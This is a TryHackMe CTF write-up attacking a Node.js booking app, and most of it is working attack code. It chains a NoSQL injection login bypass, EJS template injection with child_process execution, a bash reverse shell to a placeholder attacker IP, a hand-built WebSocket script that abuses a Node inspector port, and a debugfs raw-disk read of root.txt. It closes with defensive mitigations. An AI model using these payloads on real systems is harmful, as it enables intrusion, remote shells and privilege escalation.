close
Skip to main content

Command Palette

Search for a command to run...

TryHackMe : Do Not Disturb Writeup

Updated
8 min readView as Markdown
TryHackMe : Do Not Disturb Writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

TL;DR

Byte Lotus Poolside is a Node.js/Express booking app. A NoSQL injection in the login endpoint bypasses authentication entirely and lands directly in the staff role. The staff console's booking-confirmation "template" feature is a raw EJS render with no sandboxing, giving straightforward server-side template injection and RCE as the low-privileged poolside service account. From there, a second Node process owned by a higher-privileged pipelinesvc account (member of the disk group) is listening on a loopback debug port. Speaking the Node inspector/Chrome DevTools protocol directly to that port over a raw WebSocket lets us run arbitrary JavaScript as pipelinesvc, and that account's disk group membership allows reading the root partition block device directly with debugfs, bypassing filesystem permissions to pull root.txt without ever needing a root shell.

User flag: THM{[REDACTED]} Root flag: THM{[REDACTED]}


1. Recon

nmap -A -Pn <MACHINE_IP> -o nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Node.js (Express middleware)
|_http-title: Byte Lotus - Poolside

Full port sweep confirmed nothing extra:

nmap -A -p- <MACHINE_IP> -o nmap
# same two ports, 22 and 80

The web app is a "Byte Lotus" poolside booking page with a staff/guest login form posting to /login.

2. Directory discovery

dirsearch -u http://<MACHINE_IP>/ -C 403,404
302 -   23B  - /Logout  ->  /
403 -    2KB - /Staff

/Staff exists but returns 403 without auth - confirms there's a privileged area worth getting into.

3. NoSQL injection - authentication bypass

Testing a JSON body against /login with MongoDB operator injection confirmed the backend is Mongo-backed and doesn't sanitize input:

curl -s -X POST http://<MACHINE_IP>/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'
{"ok":true,"role":"guest"}

That confirms the injection lands, but only as guest. The actual login form posts as regular form-encoded data, not JSON, so switching to Express's array/bracket syntax (username[$ne]=) lets the same operator injection ride through body-parser's extended mode, which converts field[$ne]=value into a nested object automatically:

curl -s -c cookies.txt -X POST http://<MACHINE_IP>/login \
  --data-urlencode "username[\$ne]=" \
  --data-urlencode "password[\$ne]="
Found. Redirecting to /staff

Bracket-notation NoSQL injection on both fields, and the session cookie this sets grants staff access directly:

curl -L -s -b cookies.txt http://<MACHINE_IP>/staff
<div class="lotus">- staff console -</div>
<h1>Cabana Desk</h1>
<p class="sub">Signed in as <strong>attendant</strong>. Customise the guest booking-confirmation message below.</p>
<form method="post" action="/staff/preview">
  <label>Confirmation template (EJS - use &lt;%= guest %&gt; to personalise)</label>
  <textarea name="template">Dear &lt;%= guest %&gt;, your Byte Lotus cabana is confirmed.</textarea>
  <button type="submit">Preview</button>
</form>

Full staff console access, no credentials needed.

4. Server-side template injection to RCE

The staff console explicitly tells you it's rendering user-controlled EJS (use <%= guest %> to personalise) - a strong signal the template field is passed straight into an EJS render call server-side rather than only substituting the guest variable into a fixed template.

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/staff/preview \
  --data-urlencode 'template=<%= global.process.mainModule.require("child_process").execSync("id") %>'
<pre>uid=996(poolside) gid=996(poolside) groups=996(poolside)
</pre>

Confirmed RCE as the poolside service account. EJS has no output sandboxing by default, and global.process.mainModule.require(...) is the standard bypass used when direct require isn't in scope inside an EJS expression. Escalated straight to a reverse shell:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/staff/preview \
  --data-urlencode 'template=<%= global.process.mainModule.require("child_process").execSync("bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\"") %>'
penelope -p 4444 listen
[+] [New Reverse Shell] => 10.49.131.0 Linux-x86_64 poolside(996)
poolside@tryhackme-2404:/opt/poolside$ whoami
poolside
poolside@tryhackme-2404:/opt/poolside$ cat /home/poolside/user.txt
THM{[REDACTED]}

5. Finding the escalation path - a second Node process

sudo -l needed a password, no SUID/SGID binaries or writable sudoers files stood out. ps aux turned up a second Node process running as a different, unreachable user:

poolside@tryhackme-2404:/home$ ps aux | grep -i node
pipelin+   599  0.0  2.2 856472 44976 ?  Ssl  06:41  0:00 /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside   600  4.1  4.4 1043140 87800 ?  Ssl  06:41  0:55 /usr/bin/node app.js

--inspect=127.0.0.1:9229 is the Node.js debugger/inspector flag - it exposes the full Chrome DevTools Protocol on that port, loopback-only, running as pipelinesvc:

poolside@tryhackme-2404:/home$ id pipelinesvc
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

pipelinesvc is a member of the disk group - worth remembering for later.

poolside@tryhackme-2404:/home$ curl -s http://127.0.0.1:9229/json
[ {
  "id": "67032290-875c-4701-9958-38d997feeebb",
  "title": "processor.js",
  "url": "file:///opt/pipelinesvc/telemetry/processor.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/67032290-875c-4701-9958-38d997feeebb"
} ]

Plain curl against the debugger URL just says WebSockets request was expected - the inspector protocol requires a proper WebSocket upgrade handshake, which curl alone can't do for the JSON-RPC session that follows.

6. Speaking WebSocket to the Node inspector manually

No websocket/websockets Python module was installed on the box, so the handshake and frame encoding were done by hand - a WebSocket upgrade is just an HTTP Upgrade header exchange, and a text frame is a simple opcode + masked-payload structure:

import socket, base64, os, json, struct

HOST, PORT = "127.0.0.1", 9229
key = base64.b64encode(os.urandom(16)).decode()

s = socket.create_connection((HOST, PORT))
req = (
    f"GET /67032290-875c-4701-9958-38d997feeebb HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Upgrade: websocket\r\n"
    f"Connection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\n"
    f"Sec-WebSocket-Version: 13\r\n\r\n"
)
s.send(req.encode())
print(s.recv(4096))

def send_frame(payload):
    data = payload.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
    length = len(data)
    if length < 126:
        header = struct.pack("!BB", 0x81, 0x80 | length)
    else:
        header = struct.pack("!BBH", 0x81, 0x80 | 126, length)
    s.send(header + mask + masked)

cmd = {
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression": "global.process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash').toString()"
    }
}
send_frame(json.dumps(cmd))
print(s.recv(65536))
b'HTTP/1.1 101 Switching Protocols\r\n...'
b'{"id":1,"result":{"result":{"type":"string","value":""}}}'

The Runtime.evaluate method of the Chrome DevTools Protocol executes arbitrary JavaScript inside the target Node process - here, used to run a child_process.execSync call that copies /bin/bash to /tmp/rootbash and sets the SUID bit, all executing with pipelinesvc's real UID/GID:

poolside@tryhackme-2404:/home$ ls -la /tmp/rootbash
-rwsr-xr-x 1 pipelinesvc pipelinesvc 1446024 Aug  4 07:05 /tmp/rootbash
poolside@tryhackme-2404:/home$ /tmp/rootbash -p
rootbash-5.2$ whoami
pipelinesvc

7. Root flag via disk group, not a root shell

euid=995(pipelinesvc) from the SUID bash shell still only carried the poolside account's original supplementary group list (groups=996(poolside)) - bash -p preserves the real UID's group memberships, it doesn't pick up pipelinesvc's disk group membership. So debugfs against the raw block device failed from that shell:

rootbash-5.2$ debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1
debugfs: Permission denied while trying to open /dev/nvme0n1p1

The fix: run the privileged read inside the original Node inspector RCE instead of through the SUID bash detour - that JavaScript executes natively as the full pipelinesvc process, with its real group list (disk) intact, giving direct read access to the underlying block device:

cmd = {
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression": "global.process.mainModule.require('child_process').execSync('debugfs -R \\'cat /root/root.txt\\' /dev/nvme0n1p1').toString()"
    }
}
b'{"id":1,"result":{"result":{"type":"string","value":"debugfs 1.47.0 (5-Feb-2023)\\nTHM{[REDACTED]}\\n"}}}'

debugfs reads the ext4 filesystem directly off the raw partition, completely bypassing normal file permission checks (root.txt is -rw-r----- root-owned) - membership in the disk group and raw /dev/nvme0n1p1 access is effectively root-equivalent file read, even without ever obtaining a root shell.


Key vulnerabilities

# Weakness Detail
1 NoSQL injection - auth bypass /login builds a Mongo query directly from unsanitized user input; bracket-notation form fields (username[$ne]=) parse into a $ne operator object via body-parser's extended mode, letting any request authenticate as staff with no valid credentials.
2 Server-side template injection (SSTI) /staff/preview renders the user-supplied template field as live EJS with no sandboxing, giving direct RCE via global.process.mainModule.require(...).
3 Exposed Node inspector debug port pipelinesvc's processor.js runs with --inspect=127.0.0.1:9229 in what looks like a production environment, exposing the full Chrome DevTools Protocol (arbitrary JS execution) to any local user who can reach loopback.
4 Overprivileged group membership pipelinesvc belongs to the disk group, granting raw read/write access to block devices - equivalent to bypassing all filesystem permission checks on that disk.

Attack chain

NoSQL injection on /login (username[$ne]=, password[$ne]=)
        |
        v
Staff session with no valid credentials
        |
        v
/staff/preview - unsandboxed EJS template render (SSTI)
        |
        v
RCE as poolside -> reverse shell -> user.txt
        |
        v
ps aux reveals pipelinesvc's node --inspect=127.0.0.1:9229 processor.js
        |
        v
Manual WebSocket handshake + Runtime.evaluate (Chrome DevTools Protocol)
        |
        v
Arbitrary JS execution as pipelinesvc (member of disk group)
        |
        v
debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1  ->  root.txt read directly
        |
        v
(SUID bash copy also created, but useless here since it loses pipelinesvc's group membership)

Mitigations

  • Never build database queries directly from unsanitized request bodies. Explicitly validate/whitelist input types (e.g. reject non-string username/password values) or use a query-building layer that doesn't allow raw operator injection like Mongoose schemas with strict typing, or a library such as mongo-sanitize.
  • Never render user-supplied strings as live templates. If customizable templates are a real product requirement, use a sandboxed templating approach (restricted variable substitution only, no arbitrary expression evaluation) rather than passing input straight into ejs.render().
  • Never run --inspect/--inspect-brk in production, even bound to loopback - any local process (including a compromised low-privilege web app account) can reach it and gain full code execution in the context of whatever account started that Node process.
  • Apply least privilege to service accounts. disk group membership is effectively root-equivalent file access and should never be granted to an application service account unless absolutely required, and even then should be scoped far more narrowly (e.g. a specific loop device, not the boot disk).